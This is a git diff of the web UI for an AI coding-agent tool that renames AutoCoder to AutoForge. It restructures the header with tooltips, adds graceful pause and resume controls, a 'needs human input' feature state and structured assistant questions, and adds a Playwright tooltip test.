* cd ui && npm run test:e2e
|
||||||
|
* cd ui && npm run test:e2e -- tooltip.spec.ts
|
||||||
|
*/
|
||||||
|
test.describe('Header tooltips', () => {
|
||||||
|
test.setTimeout(30000)
|
||||||
|
|
||||||
|
test.beforeEach(async ({ page }) => {
|
||||||
|
await page.goto('/')
|
||||||
|
await page.waitForSelector('button:has-text("Select Project")', { timeout: 10000 })
|
||||||
|
})
|
||||||
|
|
||||||
|
async function selectProject(page: import('@playwright/test').Page) {
|
||||||
|
const projectSelector = page.locator('button:has-text("Select Project")')
|
||||||
|
if (await projectSelector.isVisible()) {
|
||||||
|
await projectSelector.click()
|
||||||
|
const items = page.locator('.neo-dropdown-item')
|
||||||
|
const itemCount = await items.count()
|
||||||
|
if (itemCount === 0) return false
|
||||||
|
await items.first().click()
|
||||||
|
await expect(projectSelector).not.toBeVisible({ timeout: 5000 }).catch(() => {})
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
test('Settings tooltip shows on hover', async ({ page }) => {
|
||||||
|
const hasProject = await selectProject(page)
|
||||||
|
if (!hasProject) {
|
||||||
|
test.skip(true, 'No projects available')
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
const settingsButton = page.locator('button[aria-label="Open Settings"]')
|
||||||
|
await expect(settingsButton).toBeVisible()
|
||||||
|
|
||||||
|
await settingsButton.hover()
|
||||||
|
|
||||||
|
const tooltip = page.locator('[data-slot="tooltip-content"]', { hasText: 'Settings' })
|
||||||
|
await expect(tooltip).toBeVisible({ timeout: 2000 })
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -2,9 +2,9 @@
|
|||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8" />
|
<meta charset="UTF-8" />
|
||||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
<link rel="icon" type="image/png" href="/logo.png" />
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
<title>AutoCoder</title>
|
<title>AutoForge</title>
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Archivo+Black&family=Work+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600&family=DM+Sans:wght@400;500;700&family=Space+Mono:wght@400;700&family=Outfit:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
<link href="https://fonts.googleapis.com/css2?family=Archivo+Black&family=Work+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;600&family=DM+Sans:wght@400;500;700&family=Space+Mono:wght@400;700&family=Outfit:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
||||||
|
|||||||
1858
ui/package-lock.json
generated
1858
ui/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,5 @@
|
|||||||
{
|
{
|
||||||
"name": "autocoder",
|
"name": "autoforge-ui",
|
||||||
"private": true,
|
"private": true,
|
||||||
"version": "1.0.0",
|
"version": "1.0.0",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
@@ -19,11 +19,13 @@
|
|||||||
"@radix-ui/react-separator": "^1.1.8",
|
"@radix-ui/react-separator": "^1.1.8",
|
||||||
"@radix-ui/react-slot": "^1.2.4",
|
"@radix-ui/react-slot": "^1.2.4",
|
||||||
"@radix-ui/react-switch": "^1.2.6",
|
"@radix-ui/react-switch": "^1.2.6",
|
||||||
|
"@radix-ui/react-tooltip": "^1.2.8",
|
||||||
"@tanstack/react-query": "^5.72.0",
|
"@tanstack/react-query": "^5.72.0",
|
||||||
"@xterm/addon-fit": "^0.11.0",
|
"@xterm/addon-fit": "^0.11.0",
|
||||||
"@xterm/addon-web-links": "^0.12.0",
|
"@xterm/addon-web-links": "^0.12.0",
|
||||||
"@xterm/xterm": "^6.0.0",
|
"@xterm/xterm": "^6.0.0",
|
||||||
"@xyflow/react": "^12.10.0",
|
"@xyflow/react": "^12.10.0",
|
||||||
|
"autoforge-ai": "file:..",
|
||||||
"canvas-confetti": "^1.9.4",
|
"canvas-confetti": "^1.9.4",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
@@ -31,6 +33,8 @@
|
|||||||
"lucide-react": "^0.475.0",
|
"lucide-react": "^0.475.0",
|
||||||
"react": "^19.0.0",
|
"react": "^19.0.0",
|
||||||
"react-dom": "^19.0.0",
|
"react-dom": "^19.0.0",
|
||||||
|
"react-markdown": "^10.1.0",
|
||||||
|
"remark-gfm": "^4.0.1",
|
||||||
"tailwind-merge": "^3.4.0"
|
"tailwind-merge": "^3.4.0"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
|||||||
BIN
ui/public/logo.png
Normal file
BIN
ui/public/logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 233 KiB |
223
ui/src/App.tsx
223
ui/src/App.tsx
@@ -33,9 +33,10 @@ import type { Feature } from './lib/types'
|
|||||||
import { Button } from '@/components/ui/button'
|
import { Button } from '@/components/ui/button'
|
||||||
import { Card, CardContent } from '@/components/ui/card'
|
import { Card, CardContent } from '@/components/ui/card'
|
||||||
import { Badge } from '@/components/ui/badge'
|
import { Badge } from '@/components/ui/badge'
|
||||||
|
import { TooltipProvider, Tooltip, TooltipTrigger, TooltipContent } from '@/components/ui/tooltip'
|
||||||
|
|
||||||
const STORAGE_KEY = 'autocoder-selected-project'
|
const STORAGE_KEY = 'autoforge-selected-project'
|
||||||
const VIEW_MODE_KEY = 'autocoder-view-mode'
|
const VIEW_MODE_KEY = 'autoforge-view-mode'
|
||||||
|
|
||||||
// Bottom padding for main content when debug panel is collapsed (40px header + 8px margin)
|
// Bottom padding for main content when debug panel is collapsed (40px header + 8px margin)
|
||||||
const COLLAPSED_DEBUG_PANEL_CLEARANCE = 48
|
const COLLAPSED_DEBUG_PANEL_CLEARANCE = 48
|
||||||
@@ -129,7 +130,8 @@ function App() {
|
|||||||
const allFeatures = [
|
const allFeatures = [
|
||||||
...(features?.pending ?? []),
|
...(features?.pending ?? []),
|
||||||
...(features?.in_progress ?? []),
|
...(features?.in_progress ?? []),
|
||||||
...(features?.done ?? [])
|
...(features?.done ?? []),
|
||||||
|
...(features?.needs_human_input ?? [])
|
||||||
]
|
]
|
||||||
const feature = allFeatures.find(f => f.id === nodeId)
|
const feature = allFeatures.find(f => f.id === nodeId)
|
||||||
if (feature) setSelectedFeature(feature)
|
if (feature) setSelectedFeature(feature)
|
||||||
@@ -178,9 +180,9 @@ function App() {
|
|||||||
setShowAddFeature(true)
|
setShowAddFeature(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
// E : Expand project with AI (when project selected and has features)
|
// E : Expand project with AI (when project selected, has spec and has features)
|
||||||
if ((e.key === 'e' || e.key === 'E') && selectedProject && features &&
|
if ((e.key === 'e' || e.key === 'E') && selectedProject && hasSpec && features &&
|
||||||
(features.pending.length + features.in_progress.length + features.done.length) > 0) {
|
(features.pending.length + features.in_progress.length + features.done.length + (features.needs_human_input?.length || 0)) > 0) {
|
||||||
e.preventDefault()
|
e.preventDefault()
|
||||||
setShowExpandProject(true)
|
setShowExpandProject(true)
|
||||||
}
|
}
|
||||||
@@ -209,8 +211,8 @@ function App() {
|
|||||||
setShowKeyboardHelp(true)
|
setShowKeyboardHelp(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
// R : Open reset modal (when project selected and agent not running)
|
// R : Open reset modal (when project selected and agent not running/draining)
|
||||||
if ((e.key === 'r' || e.key === 'R') && selectedProject && wsState.agentStatus !== 'running') {
|
if ((e.key === 'r' || e.key === 'R') && selectedProject && !['running', 'pausing', 'paused_graceful'].includes(wsState.agentStatus)) {
|
||||||
e.preventDefault()
|
e.preventDefault()
|
||||||
setShowResetModal(true)
|
setShowResetModal(true)
|
||||||
}
|
}
|
||||||
@@ -239,12 +241,12 @@ function App() {
|
|||||||
|
|
||||||
window.addEventListener('keydown', handleKeyDown)
|
window.addEventListener('keydown', handleKeyDown)
|
||||||
return () => window.removeEventListener('keydown', handleKeyDown)
|
return () => window.removeEventListener('keydown', handleKeyDown)
|
||||||
}, [selectedProject, showAddFeature, showExpandProject, selectedFeature, debugOpen, debugActiveTab, assistantOpen, features, showSettings, showKeyboardHelp, isSpecCreating, viewMode, showResetModal, wsState.agentStatus])
|
}, [selectedProject, showAddFeature, showExpandProject, selectedFeature, debugOpen, debugActiveTab, assistantOpen, features, showSettings, showKeyboardHelp, isSpecCreating, viewMode, showResetModal, wsState.agentStatus, hasSpec])
|
||||||
|
|
||||||
// Combine WebSocket progress with feature data
|
// Combine WebSocket progress with feature data
|
||||||
const progress = wsState.progress.total > 0 ? wsState.progress : {
|
const progress = wsState.progress.total > 0 ? wsState.progress : {
|
||||||
passing: features?.done.length ?? 0,
|
passing: features?.done.length ?? 0,
|
||||||
total: (features?.pending.length ?? 0) + (features?.in_progress.length ?? 0) + (features?.done.length ?? 0),
|
total: (features?.pending.length ?? 0) + (features?.in_progress.length ?? 0) + (features?.done.length ?? 0) + (features?.needs_human_input?.length ?? 0),
|
||||||
percentage: 0,
|
percentage: 0,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -260,15 +262,19 @@ function App() {
|
|||||||
<div className="min-h-screen bg-background">
|
<div className="min-h-screen bg-background">
|
||||||
{/* Header */}
|
{/* Header */}
|
||||||
<header className="sticky top-0 z-50 bg-card/80 backdrop-blur-md text-foreground border-b-2 border-border">
|
<header className="sticky top-0 z-50 bg-card/80 backdrop-blur-md text-foreground border-b-2 border-border">
|
||||||
<div className="max-w-7xl mx-auto px-4 py-4">
|
<div className="max-w-7xl mx-auto px-4 py-3">
|
||||||
<div className="flex items-center justify-between">
|
<TooltipProvider>
|
||||||
{/* Logo and Title */}
|
{/* Row 1: Branding + Project + Utility icons */}
|
||||||
<h1 className="font-display text-2xl font-bold tracking-tight uppercase">
|
<div className="flex items-center gap-3">
|
||||||
AutoCoder
|
{/* Logo and Title */}
|
||||||
</h1>
|
<div className="flex items-center gap-2 shrink-0">
|
||||||
|
<img src="/logo.png" alt="AutoForge" className="h-9 w-9 rounded-full" />
|
||||||
|
<h1 className="font-display text-2xl font-bold tracking-tight uppercase hidden md:block">
|
||||||
|
AutoForge
|
||||||
|
</h1>
|
||||||
|
</div>
|
||||||
|
|
||||||
{/* Controls */}
|
{/* Project selector */}
|
||||||
<div className="flex items-center gap-4">
|
|
||||||
<ProjectSelector
|
<ProjectSelector
|
||||||
projects={projects ?? []}
|
projects={projects ?? []}
|
||||||
selectedProject={selectedProject}
|
selectedProject={selectedProject}
|
||||||
@@ -277,94 +283,114 @@ function App() {
|
|||||||
onSpecCreatingChange={setIsSpecCreating}
|
onSpecCreatingChange={setIsSpecCreating}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{selectedProject && (
|
{/* Spacer */}
|
||||||
<>
|
<div className="flex-1" />
|
||||||
<AgentControl
|
|
||||||
projectName={selectedProject}
|
|
||||||
status={wsState.agentStatus}
|
|
||||||
defaultConcurrency={selectedProjectData?.default_concurrency}
|
|
||||||
/>
|
|
||||||
|
|
||||||
<DevServerControl
|
{/* Ollama Mode Indicator */}
|
||||||
projectName={selectedProject}
|
{selectedProject && settings?.ollama_mode && (
|
||||||
status={wsState.devServerStatus}
|
<div
|
||||||
url={wsState.devServerUrl}
|
className="hidden sm:flex items-center gap-1.5 px-2 py-1 bg-card rounded border-2 border-border shadow-sm"
|
||||||
/>
|
title="Using Ollama local models"
|
||||||
|
>
|
||||||
<Button
|
<img src="/ollama.png" alt="Ollama" className="w-5 h-5" />
|
||||||
onClick={() => setShowSettings(true)}
|
<span className="text-xs font-bold text-foreground">Ollama</span>
|
||||||
variant="outline"
|
</div>
|
||||||
size="sm"
|
|
||||||
title="Settings (,)"
|
|
||||||
aria-label="Open Settings"
|
|
||||||
>
|
|
||||||
<Settings size={18} />
|
|
||||||
</Button>
|
|
||||||
|
|
||||||
<Button
|
|
||||||
onClick={() => setShowResetModal(true)}
|
|
||||||
variant="outline"
|
|
||||||
size="sm"
|
|
||||||
title="Reset Project (R)"
|
|
||||||
aria-label="Reset Project"
|
|
||||||
disabled={wsState.agentStatus === 'running'}
|
|
||||||
>
|
|
||||||
<RotateCcw size={18} />
|
|
||||||
</Button>
|
|
||||||
|
|
||||||
{/* Ollama Mode Indicator */}
|
|
||||||
{settings?.ollama_mode && (
|
|
||||||
<div
|
|
||||||
className="flex items-center gap-1.5 px-2 py-1 bg-card rounded border-2 border-border shadow-sm"
|
|
||||||
title="Using Ollama local models (configured via .env)"
|
|
||||||
>
|
|
||||||
<img src="/ollama.png" alt="Ollama" className="w-5 h-5" />
|
|
||||||
<span className="text-xs font-bold text-foreground">Ollama</span>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* GLM Mode Badge */}
|
|
||||||
{settings?.glm_mode && (
|
|
||||||
<Badge
|
|
||||||
className="bg-purple-500 text-white hover:bg-purple-600"
|
|
||||||
title="Using GLM API (configured via .env)"
|
|
||||||
>
|
|
||||||
GLM
|
|
||||||
</Badge>
|
|
||||||
)}
|
|
||||||
</>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Docs link */}
|
{/* GLM Mode Badge */}
|
||||||
<Button
|
{selectedProject && settings?.glm_mode && (
|
||||||
onClick={() => { window.location.hash = '#/docs' }}
|
<Badge
|
||||||
variant="outline"
|
className="hidden sm:inline-flex bg-purple-500 text-white hover:bg-purple-600"
|
||||||
size="sm"
|
title="Using GLM API"
|
||||||
title="Documentation"
|
>
|
||||||
aria-label="Open Documentation"
|
GLM
|
||||||
>
|
</Badge>
|
||||||
<BookOpen size={18} />
|
)}
|
||||||
</Button>
|
|
||||||
|
{/* Utility icons - always visible */}
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<Button
|
||||||
|
onClick={() => window.open('https://autoforge.cc', '_blank')}
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
aria-label="Open Documentation"
|
||||||
|
>
|
||||||
|
<BookOpen size={18} />
|
||||||
|
</Button>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>Docs</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
|
||||||
{/* Theme selector */}
|
|
||||||
<ThemeSelector
|
<ThemeSelector
|
||||||
themes={themes}
|
themes={themes}
|
||||||
currentTheme={theme}
|
currentTheme={theme}
|
||||||
onThemeChange={setTheme}
|
onThemeChange={setTheme}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{/* Dark mode toggle - always visible */}
|
<Tooltip>
|
||||||
<Button
|
<TooltipTrigger asChild>
|
||||||
onClick={toggleDarkMode}
|
<Button
|
||||||
variant="outline"
|
onClick={toggleDarkMode}
|
||||||
size="sm"
|
variant="outline"
|
||||||
title="Toggle dark mode"
|
size="sm"
|
||||||
aria-label="Toggle dark mode"
|
aria-label="Toggle dark mode"
|
||||||
>
|
>
|
||||||
{darkMode ? <Sun size={18} /> : <Moon size={18} />}
|
{darkMode ? <Sun size={18} /> : <Moon size={18} />}
|
||||||
</Button>
|
</Button>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>Toggle theme</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
|
||||||
|
{/* Row 2: Project controls - only when a project is selected */}
|
||||||
|
{selectedProject && (
|
||||||
|
<div className="flex items-center gap-3 mt-2 pt-2 border-t border-border/50">
|
||||||
|
<AgentControl
|
||||||
|
projectName={selectedProject}
|
||||||
|
status={wsState.agentStatus}
|
||||||
|
defaultConcurrency={selectedProjectData?.default_concurrency}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<DevServerControl
|
||||||
|
projectName={selectedProject}
|
||||||
|
status={wsState.devServerStatus}
|
||||||
|
url={wsState.devServerUrl}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<div className="flex-1" />
|
||||||
|
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<Button
|
||||||
|
onClick={() => setShowSettings(true)}
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
aria-label="Open Settings"
|
||||||
|
>
|
||||||
|
<Settings size={18} />
|
||||||
|
</Button>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>Settings (,)</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<Button
|
||||||
|
onClick={() => setShowResetModal(true)}
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
aria-label="Reset Project"
|
||||||
|
disabled={['running', 'pausing', 'paused_graceful'].includes(wsState.agentStatus)}
|
||||||
|
>
|
||||||
|
<RotateCcw size={18} />
|
||||||
|
</Button>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>Reset (R)</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</TooltipProvider>
|
||||||
</div>
|
</div>
|
||||||
</header>
|
</header>
|
||||||
|
|
||||||
@@ -376,7 +402,7 @@ function App() {
|
|||||||
{!selectedProject ? (
|
{!selectedProject ? (
|
||||||
<div className="text-center mt-12">
|
<div className="text-center mt-12">
|
||||||
<h2 className="font-display text-2xl font-bold mb-2">
|
<h2 className="font-display text-2xl font-bold mb-2">
|
||||||
Welcome to AutoCoder
|
Welcome to AutoForge
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground mb-4">
|
<p className="text-muted-foreground mb-4">
|
||||||
Select a project from the dropdown above or create a new one to get started.
|
Select a project from the dropdown above or create a new one to get started.
|
||||||
@@ -418,6 +444,7 @@ function App() {
|
|||||||
features.pending.length === 0 &&
|
features.pending.length === 0 &&
|
||||||
features.in_progress.length === 0 &&
|
features.in_progress.length === 0 &&
|
||||||
features.done.length === 0 &&
|
features.done.length === 0 &&
|
||||||
|
(features.needs_human_input?.length || 0) === 0 &&
|
||||||
wsState.agentStatus === 'running' && (
|
wsState.agentStatus === 'running' && (
|
||||||
<Card className="p-8 text-center">
|
<Card className="p-8 text-center">
|
||||||
<CardContent className="p-0">
|
<CardContent className="p-0">
|
||||||
@@ -433,7 +460,7 @@ function App() {
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{/* View Toggle - only show when there are features */}
|
{/* View Toggle - only show when there are features */}
|
||||||
{features && (features.pending.length + features.in_progress.length + features.done.length) > 0 && (
|
{features && (features.pending.length + features.in_progress.length + features.done.length + (features.needs_human_input?.length || 0)) > 0 && (
|
||||||
<div className="flex justify-center">
|
<div className="flex justify-center">
|
||||||
<ViewToggle viewMode={viewMode} onViewModeChange={setViewMode} />
|
<ViewToggle viewMode={viewMode} onViewModeChange={setViewMode} />
|
||||||
</div>
|
</div>
|
||||||
@@ -487,7 +514,7 @@ function App() {
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Expand Project Modal - AI-powered bulk feature creation */}
|
{/* Expand Project Modal - AI-powered bulk feature creation */}
|
||||||
{showExpandProject && selectedProject && (
|
{showExpandProject && selectedProject && hasSpec && (
|
||||||
<ExpandProjectModal
|
<ExpandProjectModal
|
||||||
isOpen={showExpandProject}
|
isOpen={showExpandProject}
|
||||||
projectName={selectedProject}
|
projectName={selectedProject}
|
||||||
|
|||||||
@@ -1,8 +1,10 @@
|
|||||||
import { useState, useEffect, useRef, useCallback } from 'react'
|
import { useState, useEffect, useRef, useCallback } from 'react'
|
||||||
import { Play, Square, Loader2, GitBranch, Clock } from 'lucide-react'
|
import { Play, Square, Loader2, GitBranch, Clock, Pause, PlayCircle } from 'lucide-react'
|
||||||
import {
|
import {
|
||||||
useStartAgent,
|
useStartAgent,
|
||||||
useStopAgent,
|
useStopAgent,
|
||||||
|
useGracefulPauseAgent,
|
||||||
|
useGracefulResumeAgent,
|
||||||
useSettings,
|
useSettings,
|
||||||
useUpdateProjectSettings,
|
useUpdateProjectSettings,
|
||||||
} from '../hooks/useProjects'
|
} from '../hooks/useProjects'
|
||||||
@@ -60,12 +62,14 @@ export function AgentControl({ projectName, status, defaultConcurrency = 3 }: Ag
|
|||||||
|
|
||||||
const startAgent = useStartAgent(projectName)
|
const startAgent = useStartAgent(projectName)
|
||||||
const stopAgent = useStopAgent(projectName)
|
const stopAgent = useStopAgent(projectName)
|
||||||
|
const gracefulPause = useGracefulPauseAgent(projectName)
|
||||||
|
const gracefulResume = useGracefulResumeAgent(projectName)
|
||||||
const { data: nextRun } = useNextScheduledRun(projectName)
|
const { data: nextRun } = useNextScheduledRun(projectName)
|
||||||
|
|
||||||
const [showScheduleModal, setShowScheduleModal] = useState(false)
|
const [showScheduleModal, setShowScheduleModal] = useState(false)
|
||||||
|
|
||||||
const isLoading = startAgent.isPending || stopAgent.isPending
|
const isLoading = startAgent.isPending || stopAgent.isPending || gracefulPause.isPending || gracefulResume.isPending
|
||||||
const isRunning = status === 'running' || status === 'paused'
|
const isRunning = status === 'running' || status === 'paused' || status === 'pausing' || status === 'paused_graceful'
|
||||||
const isLoadingStatus = status === 'loading'
|
const isLoadingStatus = status === 'loading'
|
||||||
const isParallel = concurrency > 1
|
const isParallel = concurrency > 1
|
||||||
|
|
||||||
@@ -81,7 +85,7 @@ export function AgentControl({ projectName, status, defaultConcurrency = 3 }: Ag
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<>
|
<>
|
||||||
<div className="flex items-center gap-4">
|
<div className="flex items-center gap-2 sm:gap-4">
|
||||||
{/* Concurrency slider - visible when stopped */}
|
{/* Concurrency slider - visible when stopped */}
|
||||||
{isStopped && (
|
{isStopped && (
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
@@ -126,7 +130,7 @@ export function AgentControl({ projectName, status, defaultConcurrency = 3 }: Ag
|
|||||||
</Badge>
|
</Badge>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Start/Stop button */}
|
{/* Start/Stop/Pause/Resume buttons */}
|
||||||
{isLoadingStatus ? (
|
{isLoadingStatus ? (
|
||||||
<Button disabled variant="outline" size="sm">
|
<Button disabled variant="outline" size="sm">
|
||||||
<Loader2 size={18} className="animate-spin" />
|
<Loader2 size={18} className="animate-spin" />
|
||||||
@@ -146,19 +150,69 @@ export function AgentControl({ projectName, status, defaultConcurrency = 3 }: Ag
|
|||||||
)}
|
)}
|
||||||
</Button>
|
</Button>
|
||||||
) : (
|
) : (
|
||||||
<Button
|
<div className="flex items-center gap-1.5">
|
||||||
onClick={handleStop}
|
{/* Pausing indicator */}
|
||||||
disabled={isLoading}
|
{status === 'pausing' && (
|
||||||
variant="destructive"
|
<Badge variant="secondary" className="gap-1 animate-pulse">
|
||||||
size="sm"
|
<Loader2 size={12} className="animate-spin" />
|
||||||
title={yoloMode ? 'Stop Agent (YOLO Mode)' : 'Stop Agent'}
|
Pausing...
|
||||||
>
|
</Badge>
|
||||||
{isLoading ? (
|
|
||||||
<Loader2 size={18} className="animate-spin" />
|
|
||||||
) : (
|
|
||||||
<Square size={18} />
|
|
||||||
)}
|
)}
|
||||||
</Button>
|
|
||||||
|
{/* Paused indicator + Resume button */}
|
||||||
|
{status === 'paused_graceful' && (
|
||||||
|
<>
|
||||||
|
<Badge variant="outline" className="gap-1">
|
||||||
|
Paused
|
||||||
|
</Badge>
|
||||||
|
<Button
|
||||||
|
onClick={() => gracefulResume.mutate()}
|
||||||
|
disabled={isLoading}
|
||||||
|
variant="default"
|
||||||
|
size="sm"
|
||||||
|
title="Resume agent"
|
||||||
|
>
|
||||||
|
{gracefulResume.isPending ? (
|
||||||
|
<Loader2 size={18} className="animate-spin" />
|
||||||
|
) : (
|
||||||
|
<PlayCircle size={18} />
|
||||||
|
)}
|
||||||
|
</Button>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Graceful pause button (only when running normally) */}
|
||||||
|
{status === 'running' && (
|
||||||
|
<Button
|
||||||
|
onClick={() => gracefulPause.mutate()}
|
||||||
|
disabled={isLoading}
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
title="Pause agent (finish current work first)"
|
||||||
|
>
|
||||||
|
{gracefulPause.isPending ? (
|
||||||
|
<Loader2 size={18} className="animate-spin" />
|
||||||
|
) : (
|
||||||
|
<Pause size={18} />
|
||||||
|
)}
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Stop button (always available) */}
|
||||||
|
<Button
|
||||||
|
onClick={handleStop}
|
||||||
|
disabled={isLoading}
|
||||||
|
variant="destructive"
|
||||||
|
size="sm"
|
||||||
|
title="Stop Agent (immediate)"
|
||||||
|
>
|
||||||
|
{stopAgent.isPending ? (
|
||||||
|
<Loader2 size={18} className="animate-spin" />
|
||||||
|
) : (
|
||||||
|
<Square size={18} />
|
||||||
|
)}
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Clock button to open schedule modal */}
|
{/* Clock button to open schedule modal */}
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import { Card, CardContent } from '@/components/ui/card'
|
|||||||
import { Badge } from '@/components/ui/badge'
|
import { Badge } from '@/components/ui/badge'
|
||||||
import { Button } from '@/components/ui/button'
|
import { Button } from '@/components/ui/button'
|
||||||
|
|
||||||
const ACTIVITY_COLLAPSED_KEY = 'autocoder-activity-collapsed'
|
const ACTIVITY_COLLAPSED_KEY = 'autoforge-activity-collapsed'
|
||||||
|
|
||||||
interface AgentMissionControlProps {
|
interface AgentMissionControlProps {
|
||||||
agents: ActiveAgent[]
|
agents: ActiveAgent[]
|
||||||
@@ -72,9 +72,13 @@ export function AgentMissionControl({
|
|||||||
? `${agents.length} ${agents.length === 1 ? 'agent' : 'agents'} active`
|
? `${agents.length} ${agents.length === 1 ? 'agent' : 'agents'} active`
|
||||||
: orchestratorStatus?.state === 'initializing'
|
: orchestratorStatus?.state === 'initializing'
|
||||||
? 'Initializing'
|
? 'Initializing'
|
||||||
: orchestratorStatus?.state === 'complete'
|
: orchestratorStatus?.state === 'draining'
|
||||||
? 'Complete'
|
? 'Draining'
|
||||||
: 'Orchestrating'
|
: orchestratorStatus?.state === 'paused'
|
||||||
|
? 'Paused'
|
||||||
|
: orchestratorStatus?.state === 'complete'
|
||||||
|
? 'Complete'
|
||||||
|
: 'Orchestrating'
|
||||||
}
|
}
|
||||||
</Badge>
|
</Badge>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -63,7 +63,7 @@ export function AgentThought({ logs, agentStatus }: AgentThoughtProps) {
|
|||||||
// Determine if component should be visible
|
// Determine if component should be visible
|
||||||
const shouldShow = useMemo(() => {
|
const shouldShow = useMemo(() => {
|
||||||
if (!thought) return false
|
if (!thought) return false
|
||||||
if (agentStatus === 'running') return true
|
if (agentStatus === 'running' || agentStatus === 'pausing') return true
|
||||||
if (agentStatus === 'paused') {
|
if (agentStatus === 'paused') {
|
||||||
return Date.now() - lastLogTimestamp < IDLE_TIMEOUT
|
return Date.now() - lastLogTimestamp < IDLE_TIMEOUT
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import { Send, Loader2, Wifi, WifiOff, Plus, History } from 'lucide-react'
|
|||||||
import { useAssistantChat } from '../hooks/useAssistantChat'
|
import { useAssistantChat } from '../hooks/useAssistantChat'
|
||||||
import { ChatMessage as ChatMessageComponent } from './ChatMessage'
|
import { ChatMessage as ChatMessageComponent } from './ChatMessage'
|
||||||
import { ConversationHistory } from './ConversationHistory'
|
import { ConversationHistory } from './ConversationHistory'
|
||||||
|
import { QuestionOptions } from './QuestionOptions'
|
||||||
import type { ChatMessage } from '../lib/types'
|
import type { ChatMessage } from '../lib/types'
|
||||||
import { isSubmitEnter } from '../lib/keyboard'
|
import { isSubmitEnter } from '../lib/keyboard'
|
||||||
import { Button } from '@/components/ui/button'
|
import { Button } from '@/components/ui/button'
|
||||||
@@ -52,8 +53,10 @@ export function AssistantChat({
|
|||||||
isLoading,
|
isLoading,
|
||||||
connectionStatus,
|
connectionStatus,
|
||||||
conversationId: activeConversationId,
|
conversationId: activeConversationId,
|
||||||
|
currentQuestions,
|
||||||
start,
|
start,
|
||||||
sendMessage,
|
sendMessage,
|
||||||
|
sendAnswer,
|
||||||
clearMessages,
|
clearMessages,
|
||||||
} = useAssistantChat({
|
} = useAssistantChat({
|
||||||
projectName,
|
projectName,
|
||||||
@@ -268,6 +271,16 @@ export function AssistantChat({
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* Structured questions from assistant */}
|
||||||
|
{currentQuestions && (
|
||||||
|
<div className="border-t border-border bg-background">
|
||||||
|
<QuestionOptions
|
||||||
|
questions={currentQuestions}
|
||||||
|
onSubmit={sendAnswer}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Input area */}
|
{/* Input area */}
|
||||||
<div className="border-t border-border p-4 bg-card">
|
<div className="border-t border-border p-4 bg-card">
|
||||||
<div className="flex gap-2">
|
<div className="flex gap-2">
|
||||||
@@ -277,13 +290,13 @@ export function AssistantChat({
|
|||||||
